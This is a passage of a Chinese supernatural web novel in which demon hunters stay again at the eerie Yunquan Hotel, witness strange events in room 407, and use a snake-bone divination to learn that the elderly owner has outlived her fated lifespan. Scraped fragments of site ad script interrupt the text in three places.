等到这一切都弄好后,林眠把门窗都锁好后,再三确认后,才爬上车,说:“都锁好了,我们出发吧。” 50. 再探云泉酒店(一) 瞿木负责开车,秦宁在后座看书,柳寂白百无聊赖地看着窗外,林眠则在副驾驶逗菌人玩,还拿手机拍了好几张照片。 “你拍归拍,这个可别发朋友圈。”瞿木提醒说,这玩意要是被普通人知道了,指不定会怎么样。 毕竟大家还是相信科学的。 而且林眠朋友圈都有些什么人,瞿木也不清楚,如果都是像秦宁这样的除妖师,那发也就无所谓了。 “知道啦。”林眠心里还是清楚的,只是因为现在都是和瞿木、秦宁他们在一起,她才敢这么明目张胆。 “嗯。”瞿木用余光看了眼那个小菌人,还是有些好奇:“这玩意能区分男女吗?” “这谁看得出来性别?”柳寂白也加入话题,身体凑上前,也看着这只小菌人,“看样子,也不会说话。” “像个会动的小玩具一样。” 柳寂白给出评价,“真不知道,菌丝为什么要把他们变成菌人。” “毫无用处。” 她实在想不出来这些小人有什么用,就为了养树么?可银木和菌丝…也没什么关系啊,两者除了都是在盖山,也没有什么联系。 “不是菌丝想让他们变成菌人,这只是菌丝的特定能力,是不受控制的。但菌人住在银树上,菌丝生产菌人,那银树给菌丝提供了什么?”秦宁放下书,说。 “这三者之间的关系,应该像是一个生态圈。”秦宁猜测着说。 林眠听着他们说,伸出手捏住菌人,问:“奶奶的书里没有记载吗?” “没有。”秦宁摇摇头,“菌丝和银树之间的联系,没有任何描写,目前来看,更像是单箭头。” “哦。”林眠点点头,玩菌人已经玩腻了,她直接把菌人塞进自己的背包里,拉上拉链。 瞿木见了,觑着眼问:“你不怕把它憋死啊?” “它会呼吸吗?”林眠反问。 瞿木顿时愣住了,他哪知道这玩意会不会呼吸啊? “我看你是把它当成宠物了,”瞿木讪讪地说,“你可不要忘了,这玩意以前是个人,还不知道是男是女。” “不过以前是什么,反正就已经是菌人了。”柳寂白开口说,还看向自己的放在一旁的蛇骨伞,缓声道:“就像我的蛇骨伞,你也不知道它以前是怎么做成的,到底是用死人身上的脊椎骨,还是真的蛇骨呢?” 瞿木透过后视镜,看了眼那把蛇骨伞,浑身一个机灵,这伞通身都是白骨,没有伞面,尾处是蛇脑袋的头骨,看着就让人觉得后背发凉。 他想起之前秦宁说的,柳家喜欢用邪术,不为正派所接受。 秦宁没吭声,拿起书本接着看。 柳寂白见他们都不说话了,也觉得自讨没趣,说:“行了,到了梧州,把我放下就行。” “你去梧州做什么?”秦宁问。 柳寂白侧过头,看向秦宁,一字一句道:“关、你、屁、事。” 前面开车的瞿木一听,立马看向后视镜,发现秦宁脸色很难看,就有了看好戏的心情,但林眠还在旁边,认真地听着他们的谈话。 “你别听,小孩子不能学粗口。”瞿木对林眠说。 “啊?这是粗口吗?”林眠问,还嘟囔着说:“那还挺文雅的。” 瞿木:…… 瞿木忍住了问林眠什么样才算是粗口且不文雅,但想了想,他有预感,林眠说出来的话肯定不是自己想听的,便作罢了。 之后车内一片安静,林眠没得到回答,也不在意,靠在车窗上睡着了。 瞿木开车开着,不知不觉就天黑了,他看向导航,梧州和北城离得很近,基本上是顺路,但是…… 这附近荒郊野外的,今晚得找个地方睡觉,而附近最近的高速出口出去后是—— “云县!” 瞿木突然开口说话,把大家都弄醒了。 柳寂白伸了个懒腰,问:“云县怎么了?快点找个地方睡觉吧,车上根本睡不好,腰酸背痛的。” 林眠也醒了,听到“云县”二字,她就想起来了,说:“云县很大,我们不去上次那个酒店就好了。” 她知道瞿木担心什么,但那里的妖物已经解决了,即使再去住也没什么可以害怕的。 瞿木当然知道这个道理,问题是…… “问题是,我能订到的酒店只有云泉酒店了。” 瞿木有些抓狂,他将手机递给林眠看,说:“这云县又不是旅游景点,现在也不是节假日,怎么什么酒店都住满了?” “就云泉酒店,谁敢去住啊?”瞿木双手撑在方向盘上,吐槽说。 柳寂白不明所以,对这个云泉酒店产生了好奇,问:“发生什么事了?” 林眠根本不懂怎么订酒店,她随手划了一下,又不知道怎么点到了,看着上面“已成功”三个字,她将手机拿给瞿木,说:“我好像点错了。” 瞿木一看,直接吐血了。 “你就这么把酒店订了?” 柳寂白看了一眼,说了一句公道话:“你手机付款密码林眠也知道?还是用的她的脸?” “我开的免密支付。”瞿木说。 “既然都订了,就去睡一晚好了。”秦宁冷不丁地开口说。 柳寂白也说:“对咯,就去住一晚,能有什么事?” “我都可以。”林眠说这句话的时候,还看了眼瞿木,她总感觉瞿木不是很乐意。 瞿木苦着一张脸,发现只有自己害怕后,才硬着头皮说:“那行吧。” 等他回去以后,一定要在云县开一家酒店,这地方太邪门了,总有一种怎么绕也绕不过去的感觉。 保不准以后还会来云县,他得未雨绸缪。 林眠见瞿木答应了,又知道瞿木心里肯定害怕,便问他:“要不我和你一起睡?这样你就应该不会很害怕。” 瞿木顿时瞳孔放大,身体往后倾,对着林眠说:“你…你…” 柳寂白差点一口水喷出来,她好不容易才将水咽下去,有些一言难尽地看向林眠,她这话摆明就没把瞿木当男人看啊。这未免也太伤一个男人的自尊心了。 “怎么了?”林眠看着他们,脑子突然反应了过来,她不免怒目圆瞪地解释说:“我定的是双人床呀。” 瞿木没敢去看林眠,因为说到双人床,他就想到了网上的荤段子,更加不知道说什么了,只是默默地启动车子,说:“我和秦宁一起就行。” 坐在后座的秦宁正在看书,一副两耳不闻窗外事的模样。 林眠也只能自己生闷气,她明明没有别的意思,也更加不想对瞿木做什么。 柳寂白拧紧水瓶盖,视线在瞿木和林眠身上来回,她突 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 然觉得自己和秦宁在这里简直就是多余。 车子出了高速,开进云县。 瞿木看着熟悉的道路,开得很慢,他还在心底里存着一丝希望,希望路上能遇到一家酒店什么的,然后还刚好有个空房。 然而,他开到云泉酒店的时候,一路上一家酒店都没看到。 瞿木将车子停好,大家伙下了车。 柳寂白看着“云泉酒店”四个字,不免吐槽说:“这酒店看着有些年头啊,像是五六十年代的招待所改的。” 这一次没有停电,云泉酒店的招牌亮着灯,门口处也有明亮的光线。 “我们进去吧。”林眠背着包,对瞿木说。 “嗯。”瞿木点点头,跟着林眠朝里面走。 林眠拉开门口遮挡的布,一眼便看到了坐在前台处的老奶奶,她走上前,说:“奶奶,您好,我们在手机上订了房。” 瞿木走到旁边,没说话,但视线忍不住往前台后面的那个房间瞟,他还记得上次林眠说的,这房间里面有三尊雕塑。 柳寂白和秦宁一起走进来。 “又是你们啊,怎么又来云县了?”老奶奶显然还记得林眠他们,浑浊的双眼在林眠身上打转,松垮的皮肤已经看不出她的真实表情。 “嗯嗯,路过,订不到别的酒店了,我们就来了。”林眠实话实说。 瞿木抿着唇,虽然说诚实是美好品质,但这么诚实,就显得有些…不会说话了。 老奶奶显然不介意,只是眯着眼看着瞿木手机上的订单说:“你们只订了一间房,我看…”她说着抬头看向后面的秦宁和柳寂白,“你们有四个人,一间肯定不够住。” “还有别的空房吗?”秦宁问。 老奶奶垂下眼,低着头打开抽屉,说:“刚好只剩下一间双人房了。” “嗯,足够住了。”秦宁点头。 “好。”老奶奶将房卡拿给他们。 瞿木把另一间房的钱也付了,才拿着房卡和他们一起上楼。 “有了灯之后,这里感觉就好多了。”林眠说道,还伸出手摸了摸墙壁,“上次我们损坏的墙好像都修复好了。” 瞿木翻了个白眼,说:“这老太太看着都有九十来岁了,还自己一个人经营旅馆,搞不明白。” 九十多岁就应该在家颐养天年。 柳寂白打量着这个旅店的布局,皱了一下眉,轻声说:“这里的布局有些奇怪,不符合风水学。” 秦宁也注意到了,“上一次来的时候,还不是这样,现在多了很多物品,摆放的位置都和传统风水相违背了。” “不是吧?”瞿木抖了抖,问:“这个老奶奶不是说是人么?” “人可比妖物可怕多了。”秦宁说下这句话的时候,已经走到他们的房间处,他将房卡放上去,“滴”的一声,门开了。 林眠拿着房卡,看了眼,说:“我的房间和你们不在同一层楼。” “你的房间在几层?”瞿木问,刚刚他们的注意力都在酒店的装饰和风水上了,压根没注意房间在哪。 “我在四楼,最尾处的408。”林眠说。 他们现在在二楼最头部的房间,201。 “不是,这两间房的距离也太远了吧?”瞿木突然想到,自己不能离林眠超过十米啊,这距离已经超过10米了。 51. 再探云泉酒店(二) 云泉酒店内,瞿木最终还是和林眠在一间房里。 他们去找了老奶奶,问了问房间什么的,得到的结果是酒店内没有空房了,只剩下这最后两间房。 瞿木晚上睡觉不能离林眠太远,除非他今晚在林眠门口打地铺。最后四人商定,还是瞿木和林眠一间,秦宁和柳寂白一间。 尴尬的分配。 林眠丝毫不觉得有什么,她把包里面的东西都拿出来,放到床上,并对坐在椅子上的瞿木说:“你不去洗澡吗?” 瞿木看着林眠,舔了下嘴唇,对方都这么坦荡了,自己还觉得畏畏缩缩的,反而显得自己不坦荡了。 他便站起来,点头说:“嗯,我去洗澡。” 林眠见瞿木进了浴室,便开始认真的整理东西,再把明天要穿的衣服放到一旁。小菌人则在床上跑来跑去,再爬到林眠的头顶上玩。 她还没收好东西,瞿木突然从浴室走出来,说:“不对,我们还没吃晚饭。” 林眠也才想起来,便问:“吃什么?” 问的时候,她也才想起来要给菌人喂吃的,便在手上用菌丝搓出一个巴掌大的蘑菇,拿给在头顶上的菌人。 瞿木看着窗外的灯火,想了想,说:“我们点外卖吧。” “好。” 瞿木得到回答,便拿出手机开始看看附近有什么好吃的。看了一圈后,他决定吃点清淡的,便选了一家粤菜,并让林眠看看自己想吃什么。 点好后,瞿木将手机直接扔床上,说:“不停电,这里看起来也没那么破了。” “而且县里吃的也挺多,就是酒店少的奇怪。”瞿木说着,还是觉得这就像是天注定的一样,怎么好端端的只有这家酒店有空房,偏偏林眠还直接订了。 “嗯嗯。”林眠还在低着头整理东西。 瞿木凑上前,看着床上的头巾,一眼看去,快有十条头巾了,其中有两条他还见林眠戴过。 “你买这么多头巾做什么?”瞿木问。 林眠抬起头,说:“戴呀,干活的时候日头太晒了,没有头巾和草帽不行的,头巾比草帽好看。” 瞿木挠了挠头,没想到林眠也有爱美之心,这会儿倒像个小姑娘了。 林眠将所有的东西都折好,放进包里,便开始等待着瞿木点的外卖。 他们之前也在一起居住过,所以同处于一个空间,彼此之间都没什么尴尬感。林眠趴在床上,拿着手机在玩。 相比于他们,另一间房的秦宁和柳寂白则要尴尬得多了。 秦宁坐着,脸上没什么表情。 柳寂白在旁边臭着一张脸,说:“怎么好端端的就只剩下两间房了?还隔这么远。” “我跟你说,这件事情,你把嘴闭紧了,除了我们四个,不允许有第五个人知道。”柳寂白说,毕竟她在玄学界也是有头有脸的人物,且圈子和秦宁重叠度太高,万一秦宁说漏嘴了,她以后该怎么办? 丢人丢到老家了。 “你说句话啊?别一声不吭的。”柳寂白见秦宁一句话都没说,跟个没事人坐在那里一样,心里就更加不爽了。 她现在觉得浑身不自在。 “你希望我说出去?”秦宁抬起眼眸,问她。 “哈?”柳寂白没听明白。 秦宁收回视线,说:“你不希望我说出去,又何必多此一举,在这一直提醒我。该说的、不该说的,我心里有数。” 柳寂白哑口无言,他这话什么意思?搞得自己上赶着的一样。 秦宁突然起身往外走。 “诶,你干嘛去?”柳寂白气归气,反正她向来和秦宁不和,但见对方离开,她还是出于一夜“舍友”的礼貌,问他。 “出去看看情况。”秦宁还是惦记着这家酒店的异样,格局乍一看没什么变化,但是物品的摆放、方向都很诡异。 柳寂白也觉得,房间里就很奇怪,她还给几件物品挪了位置,才让人觉得空间没那么压抑。 “我也跟你一起。”她赶紧说,拿上蛇骨伞就跟着秦宁走。之前就听林眠说了这个酒店的诡异之处,她也要去看一看。 秦宁走在前面,从二楼走到顶楼五楼。 “这店里面就一个老太太,没有其他人员?”柳寂白边走边说,一路上没有看到其他服务人员,那个老太太年纪又这么大。 “应该没有。”秦宁回答,上次来的时候,就没看到过其他人员,除了阿云。现在阿云不在了,老太太一个人,还真不知道怎么打扫的卫生。 两人又从顶楼下到一楼处。 外面灯火通明,但街上没几个行人,显得有些空旷寂寥。 “你们有什么事吗?”老太太从房间里出来,就看到秦宁和柳寂白两个人站在大厅处,便问他们。 “没,就太无聊了,逛逛。”柳寂白轻松地回答道,还上前亲昵地问:“老奶奶,您多大年纪了?” “九十有三了。” “老奶奶,我也不能一直叫您老奶奶,您姓什么?”柳寂白趴到桌子上,笑眯眯地问。 老太太眼一抬,打量了一眼柳寂白后,才说:“我姓劳,你叫我老奶奶,倒也没叫错。” “那还真巧。”柳寂白还是笑着,还准备再说点什么,看看能不能问出点什么来,“劳奶奶,这店里就您一个人,不累吗?” “累又怎么办?还是得干啊。”劳老太回答说,她虽然苍老不堪,但说话声音还是中气十足,“我一把年纪了,在店里还能和像你这样的小年轻聊天,也算是解解闷。” “您这个年纪应该在家享福才对,家里没有孩子吗?”柳寂白问了一点自己想问的,这个年纪实在是不对劲。 劳老太就像是真的在和柳寂白聊家常一样,把自己现在的家里情况都说了,还叹着气,埋怨道:“我肯定是上辈子作了孽啊,才让他们一个一个离开我了。” “作了孽啊。” 柳寂白见她这模样,试探的话都不知道怎么说出口了,但她对这老太没有什么同情心。就是说不上来的感觉,有一种对方即使是演的,你也得陪她演下去的感觉。 她侧头看向秦宁,秦宁站在一旁,一直没有说话。 “劳奶奶,现在出去,外面还有吃的卖吗?” 在柳寂白看向秦宁的时候,秦宁才开口说话,结束了她们这一场对话。 劳老太擦了擦眼角的眼泪,才说:“这个点,还开着店的不多了,不过出去找找,也是能找到一些的。” 秦宁点头,对柳寂白说:“出去吃饭么?” 柳寂白愣住了,怎么突然变 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 成出去吃饭了?他该不会是想请自己吃饭吧?这个想法很快被她否决了,应该是秦宁发现了什么,让自己出去说。 “行,还没吃晚饭呢。”柳寂白假装自然地率先走出门去。 秦宁也紧跟其后。 出了云泉酒店,两人走了街头,又拐了个弯。柳寂白才四处张望,没发现什么异常情况,才开口问:“你发现什么了?” “没有。”秦宁回答。 “没有你要出来?”柳寂白音调都拔高了几度。路上虽然人不多,但还是有几个人、零零散散地走在路上,听到声音都不免看了过来。 柳寂白尴尬的笑笑,随后低声问:“那大晚上出来干嘛?这么冷的天。” 这风吹过来都是凉飕飕的。 “吃饭。”秦宁一本正经的回答,“离开盖山村后,一口饭都没吃,你不饿?” 柳寂白倒吸了一口凉气,乐道:“原来你也会饿啊,我还以为你都要成神仙了。” 她说完,秦宁也没吭声,不带搭理她。柳寂白也不在意,看了看周边的店铺,说:“才九点,这街上怎么都关门了?” “前面还亮着灯,我们过去看看,随便吃点。” 柳寂白说着,快步向前走。因为听完秦宁这么一说,她还真觉得肚子饿的不行了。 秦宁看着前面的柳寂白,抿着唇,不紧不慢地跟着。 前面是一个菜市场,附近也有不少店铺,不过大多数都准备关门了。 柳寂白走进一家小饭馆,拿起菜单看了起来,看秦宁走进来后,她晃了晃菜单,问:“你想吃点什么?” “你们可得点快些,不然我们的厨师要下班咯。”老板热情地说,还指着自己身后的水族箱,推荐说:“可以试试我们的海鲜,都是新鲜的,还有鸡鸭鹅,都有。” 柳寂白点点头,点了一道菜,就将菜单递给秦宁。 秦宁点完后,就将菜单递给老板。 店里没人,或者是厨师急着下班,菜上的很快。吃饭的时候,两人都没说话,低头吃饭。等到吃完了,秦宁付了钱,两人再一起离开。 柳寂白感到有些无聊,秦宁一路上话都不多说两句,早知道把瞿木他们也叫上好了,林眠虽然不爱说话,但该给的反应都会给,瞿木爱说话也能提供点乐子。 “有件事想让你帮忙。”秦宁突然停住脚步,说。 柳寂白一听,回过头,看向秦宁,有些吃惊,她可没想到秦宁会让自己帮忙,便问:“什么事?” “柳家的蛇骨卜卦,能知天命、卜生死。我想让你卜一卦。”秦宁说。 柳寂白没想到秦宁会让自己做这个,他们正派不是最嫌弃柳家的蛇骨卜卦吗?说是妖邪之术。 但此时此刻,秦宁站在路边的小道上,旁边是一块很大麦田,风吹过来,还带着青草的芳香。 柳寂白感觉脑子宕机了,说出口的话都变得缓慢。 “可以是可以,只是……” “什么?”秦宁不解,他有一件事很好奇,但想要知道答案,还得柳寂白的帮助。 柳寂白稳了稳心神,说:“需要蛇,活生生的蛇。” 秦宁一听,这个答案不出乎意料,柳家所用的术式和他们的都不一样,不是一派。只是去哪里找一条活蛇? 52. 再探云泉酒店(三) 秦宁在麦田里挺起身来的时候,已经是凌晨12点了。 “你抓到了没?”柳寂白在岸上喊。他们需要一条活蛇,但现在大晚上,来蛇最快的途径就是在麦田里面抓。 秦宁累的喘着气,看着手上晃动的活蛇,一步一步爬上岸,将蛇递到柳寂白面前,略带嫌弃地问她:“行吗?” “行的,你这抓的还不错,不是国家保护动物,大大的行。”柳寂白朝秦宁比了个大拇指。 秦宁没好气地捏住蛇的七寸,将起掐晕后扔在地上。 柳寂白看了眼地上的蛇,深呼吸一口气。她拿出蛇骨伞,在地上画了一个圆,再加上几笔,一个符号便出现了。 蛇的鳞片在月光的照射下,闪闪发亮。 柳寂白用伞挑起蛇的那一瞬间,原本晕了的蛇顿时活动了起来,顺着蛇骨伞往上爬,速度极快。 一旁的秦宁看着,差点想上去制止,但是被柳寂白阻止了。 蛇顺着伞爬到柳寂白的手上,张开口对着柳寂白咬了一口,随后柳寂白手起伞落,将蛇沿着头顶的线,一路向下劈开。 蛇血刚好撒落在阵法上,慢慢的将轮廓染红。 柳寂白双眼闭上,嘴里还在念念有词,蛇血滴尽后,她也将皮、肉、骨三者分离开来,留下一具白骨在阵法上。 而蛇皮则完整的落在秦宁的脚边。 秦宁低下头,看向自己脚边的蛇皮,他手上还残留着刚刚抓着蛇的感觉、味道。现在看着这条蛇毙命,於心而言,有些残忍。 柳寂白面不改色,将刚刚秦宁交给自己的一根劳老太的头发烧掉,蛇骨上散发出金光,也燃起一阵火来。 等到蛇骨烧尽,大约已经过了半小时。 柳寂白睁开眼,喘着粗气,看着地上的一团灰。 “怎么样?”秦宁问道,刚刚他一直看着。 柳寂白深呼吸一口气,捡起一根树枝,将画的阵法给掩盖掉后,才对秦宁说:“劳老太是死人,她应该只能活到八十三岁,这是极限了。” “但她说自己九十三了,多活了十年。” 秦宁点点头,说:“上一次我和瞿木他们来的时候,就发现这老太印堂发黑,眼神浑浊,身上有浊气,应该是将死之人。可这次来,她反而变得更加精神了。” “这多少有些奇怪。” 柳寂白看了看天色,说:“不知道她怎么让自己活的这么长,但肯定不是正常人,可能是接触了什么邪术,我们先回去吧。” “嗯。”秦宁看了眼时间,确实很晚了。 他们两个将这里收拾了一下,就离开了。 一路上,车都没几辆,好在这里离云泉酒店不是很远,走个二十分钟左右就能到。 “你的手没事吗?”秦宁问,被那条蛇咬了,虽不知有没有毒。 柳寂白摇摇头,“没事,过两天就恢复了。” “为什么要咬你?”秦宁不解,柳家所学的术式和阵法,都是独门秘籍,他也了解不多,也不为正派所承认,但正因为如此,柳家的术式也有许多方便之处。 “这个叫做血祭。”柳寂白朝他晃晃手,“不过这种小儿科,几滴血就够了。越大的事,就需要越多的血。” “歪门邪道。”秦宁说,术式竟然要用血,还说什么血祭,简直就是不可理喻。 柳寂白挑挑眉,这个她倒是不否认,柳家的人都是用血供奉蛇神。虽然不够光明伟岸,听起来也不太正常,但她做的事都是好事,也绝无害人之心。 两人走到云泉酒店门口时,劳老太已经不在前台了,看样子是去睡觉了。只是前台的灯还在亮着。 回到201房时,已是凌晨一点多了。 秦宁直接和衣而睡,没搭理柳寂白。 柳寂白则要讲究的些,准备先去洗个澡再睡。 …… 第二天天亮,林眠和瞿木都顶着一对黑眼圈,疑神疑鬼地走下楼。 “你们两个怎么了?看着一点精气神都没。”柳寂白也起来了,一下楼就看到他们两个瘫在那里。 秦宁是从外面走进来的,他手上提着一大袋油条包子,见他们都起来了,还都在大厅里,就把手上的东西放下。 “谢了。”柳寂白拿起一个包子,吃了起来。 瞿木趴在沙发上,一动不动。林眠看到吃的,还是拿起一根油条,并晃了晃瞿木:“你也吃点吧,昨晚你都没怎么吃饭。” “他怎么了?”秦宁问。 林眠抿着唇,说:“昨晚我们两个遇到怪事了,瞿木被吓得不敢睡。” 瞿木听到这话,想要辩解一二,但想起昨晚的情况,还是住了嘴,没吭声。 “什么怪事?”秦宁问。 “被吓得不敢睡?胆子这么小啊。”柳寂白一听,来了兴致。 瞿木耸拉着眼皮,没好气地看他们一眼,说:“你们是没见过昨晚有多恐怖。我就说这酒店住不得。” 柳寂白没好气地笑道:“那林眠都不害怕,你怕什么?你好歹被菌丝寄生了,也不是一般人了。” “她会害怕吗?”瞿木反问,稳了稳心神,也拿起油条吃了起来。 林眠听到瞿木这么说,还是认真地回答:“当然会,但是因为你比我更害怕,我才不害怕的。” 瞿木抽了抽嘴角,行吧。 “所以,你们昨晚发生什么事了?”秦宁倒是对这件怪事很好奇。 “昨晚,”瞿木把嘴里油条咽下去,准备接着说时,见秦宁突然摆了个手势,他侧头看去,是酒店的客户下来了。 这是一对年轻小情侣,两个人手拉着手走下来。 “还是有些疼。”女生拉着男生的手臂,说。 “等会我给你揉揉,我的腿肚子也不知道怎么了,也很疼。”男生说着,下意识弯腰拍了拍自己的左腿腿肚子。 女生拿着房卡,走到前台处,看了看周围,只看到了坐在大厅沙发处的林眠一行人,没有看到办理入住时的那个老奶奶。 “你好,有人吗?我们要退房。”女生朝着前台处后面的那个门喊。 大约过了几秒,劳老太的声音就传来了。 “来了来了。” 劳老太打开门,只打开了一个足够容纳自己出来的缝,随后把门关上,看向这两个年轻人说:“407的,房卡给我就行。” 女生将房卡交给劳老太,就和男朋友一起离开了。 劳老太收好房卡,抬头看向对面的一群人,她视线巡视了一圈,最终在林眠身上停下来,说:“你们什么时候离开?” “退房把房卡给我就行。” 林眠看向秦宁,按道理,他们今天就要离开,送柳寂白去梧州,再回北城。 秦宁沉思一会,才抬头对 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 劳老太说:“按照规定,是12点前退房,现在才早上8点,我们晚点儿退。” “行。”劳老太点点头,就准备上楼,还说:“我去打扫一下卫生,有人退房,麻烦你们照看一下。” “好的。”柳寂白摆摆手,反正他们还要在这待会儿。 瞿木啃着油条,见那老太上了楼了,才赶紧说:“那对情侣是407的,就是我昨晚遇到怪事的那间房。” 说完,他又很奇怪地说:“这老太年纪这么大了,还能去打扫卫生。我要是这个年纪,怕是床都下不了了。” 林眠歪着头,“刚刚两个人好像不舒服,说腿疼?” “是的,他们两个昨晚住在那里,肯定浑身不舒服,我光是…在门口,都觉得受不了。不过,昨晚我们也敲门了,他们两个看起来没什么异常。”瞿木也觉得有些奇怪。 秦宁也觉得这其中应该有事,就算瞿木可能看错了、听错了,容易被一些妖物蛊惑,但林眠不会,她体内有菌丝的庇护。 况且,这劳老太绝对不简单,虽然是人,但不知道是什么来历。 “昨晚发生的事,能说一下吗?”秦宁问。 瞿木还在吃油条,回想起昨晚的事,他就浑身哆嗦。 “我来说吧。”林眠见瞿木这样,还是觉得自己说比较好。 “昨天晚上,我和瞿木点了外卖,外卖到的时候,瞿木去门口拿,结果发现隔壁房间传来奇怪的声音。”林眠回想着昨晚的事,“说是磨牙的声音。” “我当时听到瞿木叫我,我就过去了,确实听到407房间里传来奇怪的声音,就像是狗啃骨头的磨牙声,而且声音不小。 “我和瞿木都觉得很奇怪,我就壮着胆子去敲了一下门,开门的是那个男生,他脸上的表情不是很好,也不耐烦地说他没听到别的声音。” 林眠说到这儿,思考了一下,说:“他开门的时候,那个声音确实消失了,但是门一关上,声音又出现了。” “总不能我和瞿木两个人都幻听了吧?” 瞿木也认同地点点头,“如果只是我听到了,我还不至于那么怕,问题是林眠也听到了!更重要的是,之后…” “之后怎么了?”秦宁看向瞿木,问他。 “之后我们两个就寻思着不对劲,林眠就用菌丝探进407里面。”瞿木说到这儿,抬眼看向林眠。 林眠接过瞿木的话茬,“我看见那对男女抱在一起啃。” “不要误会,不是情侣的那种啃。”瞿木连忙补充说明。 “女的在啃男的小腿肚,男的在啃女的手臂,他们的姿势很诡异,是扭曲着的。”林眠试着摆出他们扭曲着的模样,但是显然不太行,“他们的姿势,不太像是人能做出来的。” “可他们刚刚出去的时候很正常啊,腿肚和手臂上也没看到明显的伤痕。”柳寂白说,刚刚那对小情侣出去的时候,说着什么疼,还摸了小腿肚,她就特地看了一眼,没发现什么痕迹。 林眠摇摇头,很确定地说:“我确定我看到的没有错,当时血都流出来了,我们都闻到了血腥味。” “真的,虽然我没看到啃的画面,但是血腥味我也闻到了。”瞿木在旁边搭腔,就是这血腥味,弄的他都吃不下晚饭。 秦宁点点头,接着问:“后面就没了吗?” “还有。”林眠皱了一下眉。 53. 再探云泉酒店(四) “闻到血腥味后,我和瞿木就感觉到很不对劲,又敲了一遍门,这次是那个女生来开门,冷冰冰地看着我们,说没事他们就要睡觉了。” 林眠说到这儿,也觉得很疑惑。 “主要是,开门的时候,他们两个人身体看着是正常的,也没有看到血迹。”瞿木抖了抖身体说。 柳寂白听着,若有所思,“这看样子应该是妖物所为。” “之前那个烛蛇已经被我们消灭了,还有妖物啊?”瞿木不可置信地说,这小小云泉酒店是什么风水宝地吗? 走了一只妖物,又来一只。 “不管是人,还是除妖师,是做不出这么诡异的事来的,当然,我除外。”柳寂白挑眉说道,“这不排除是障眼术,但这么精密的障眼术法,除了我柳家,没其他人能做到。” “所以,应该是妖物所为。” 柳寂白是这么猜测的,至于是什么妖物,还需要再想想。 “我也认同。”秦宁说,障眼术他也略懂一二,但只能做到皮毛。这需要耗费极大的心神。 “那会是什么妖物?”林眠问,“而且那两个人已经离开酒店了,他们遇到了妖物,会没事吗?” 秦宁也不太清楚,只是说:“那两个人离开时,看样子没出什么问题,身上也没有妖物的气息,应该不会有大碍。” 林眠点点头,接着刚刚的话茬:“第二次敲门后,我和瞿木就回到了房间里,就在这时,我们看到了走廊处有个巨大的阴影,像是一个人的影子,佝偻着背,手上捧着东西,咯吱咯吱的吃东西。” “我和瞿木两个人就趴在猫眼上看,咯吱咯吱的磨牙声非常的大,大到房间里都听得一清二楚。” 秦宁皱着眉,问:“持续了多久?” “应该到了凌晨三点多这样才停下。”林眠回答,她有在看时间。 “凌晨三点,我和秦宁也在酒店里,我没听到任何声音。”柳寂白说,虽然差了两楼,但按照林眠的描述,不应该听不到。 林眠摇摇头,“我不知道了。” 昨晚回到房间里,她和瞿木也没敢出来,就听着磨牙声,那个声音就像是磨刀的声音一样,听的人心里发麻。 “我也搞不清楚,说不定只有我和林眠听到了。”瞿木说,现在发生什么样的事情,他都不觉得奇怪。 “看来昨晚,云泉酒店应该发生了什么事,不过对方的目标不是我们。”秦宁猜测着说。 “那我们今天走吗?既然不是我们,还是快点离开吧。”瞿木说着就起身,“我去楼上拿东西去。” 他刚走一步,就被秦宁叫住。 “不,除此之外,这个云泉酒店还是十分不对劲,店主劳老太不知道用了什么法子续命至今。我要留下来,探一探这个云泉酒店的虚实。” “什么意思?”林眠没听明白,一头雾水地看着秦宁和柳寂白。 续命? 瞿木听懂了最后一句,意思就是不离开呗。 “我用占卜,卜出了劳老太的生死,她应该年享83岁,但她今年93了。”柳寂白简要的解释了一下。 “我的乖乖,还有这种卜卦啊?”瞿木瞪大了双眼,这去算命不得赚的盆满钵满啊? 林眠一听,凑上前问:“能算算我能活到几岁吗?” “生死有命,莫问鬼神之事。”秦宁冷不丁的说上一句。 “那柳大师怎么可以问?”林眠问。 柳寂白摇头笑道:“既然是鬼神之事,柳家侍奉的是蛇神,我自然可以卜上一二。不过林眠,你这额头饱满,印堂发亮,肯定是长寿命。” 林眠摸了摸自己的额头,饱满吗?怎么感觉她像是在敷衍自己? 柳寂白确实是瞎说的,生死有命,若非为了一些重要的事,是不允许询问生死的。但现在这个云泉酒店确实怪异,她认为这里发生的事,和劳老太脱不了干系。 秦宁也是这么想的,如果想要知道劳老太的底细,那…… 他和柳寂白都不约而同地看向前台后的那个房间。 瞿木站着,发现他们都不说话了,顺着视线看去,是那个房间。林眠之前看过,说里面有三尊雕塑。 一个老太太,在房间里摆三尊奇怪的雕塑。瞿木倒也不是不能理解,老人家的思想观念什么的、还有信仰之类的,多少都神神道道的。 “你们想进去吗?”林眠见他们都盯着那个房间看,直接问他们。 大家伙回过头来。 瞿木有些无语地看向林眠,低声说:“想进去你也不能这么大声问啊,万一……”他抬起头看向楼上,万一被听到了,这多尴尬啊。 “我是想说,”林眠见他们都看着自己,她低下头把菌人从包里拿出来,说:“它只有拇指大小,可以让它进去看。” “我发现,它看到的东西,我只要摸到它,就能看到它看过的。虽然我之前看过一次,但是记不太清楚了。” 林眠解释着说,上一次,她只是匆匆看了几眼,就出来了。现在的情况也没那么容易进去,还是让菌人去探查一下,这也是她昨晚才发现的新功能。 柳寂白吃惊,“它听得懂你的吩咐吗?” “能。”林眠说完,便用手指推了一下菌人,菌人就心领神会地小跑着,一下子就冲进那间房间里。 “还真行。”柳寂白看的目瞪口呆,并有些羡慕地说:“我要是也有个这样的小宠物该多好。” 秦宁也觉得菌丝这个技能实在是有些太离谱了,不仅能这样寄生在瞿木身上,操纵瞿木,还能产生这样的菌人,供自己差遣。 看来,林家发现的资料上的记载,并没有记载的很完全,反而很表面。 就在菌人钻进房间里的时候,劳老太就下来了。 劳老太见他们还在这儿,便说:“谢谢你们啊,帮我个老婆子看店。” “不用,并没有客人前来。”秦宁回答。 劳老太没回答,径直走到前台处。 秦宁收回视线,眼神示意瞿木他们。 瞿木和柳寂白自然心领神会,但林眠还在傻愣愣坐着,被瞿木一把拉起,说:“上楼去。” “哦哦。”林眠跟着瞿木上楼。 大家伙一起到了四楼走廊处。 走廊处空荡荡,也十分的安静。 瞿木打开408房门,说:“别看了,看不出什么来。我和林眠今天早上出来的时候,也特地看过一遍,什么也没发现。” 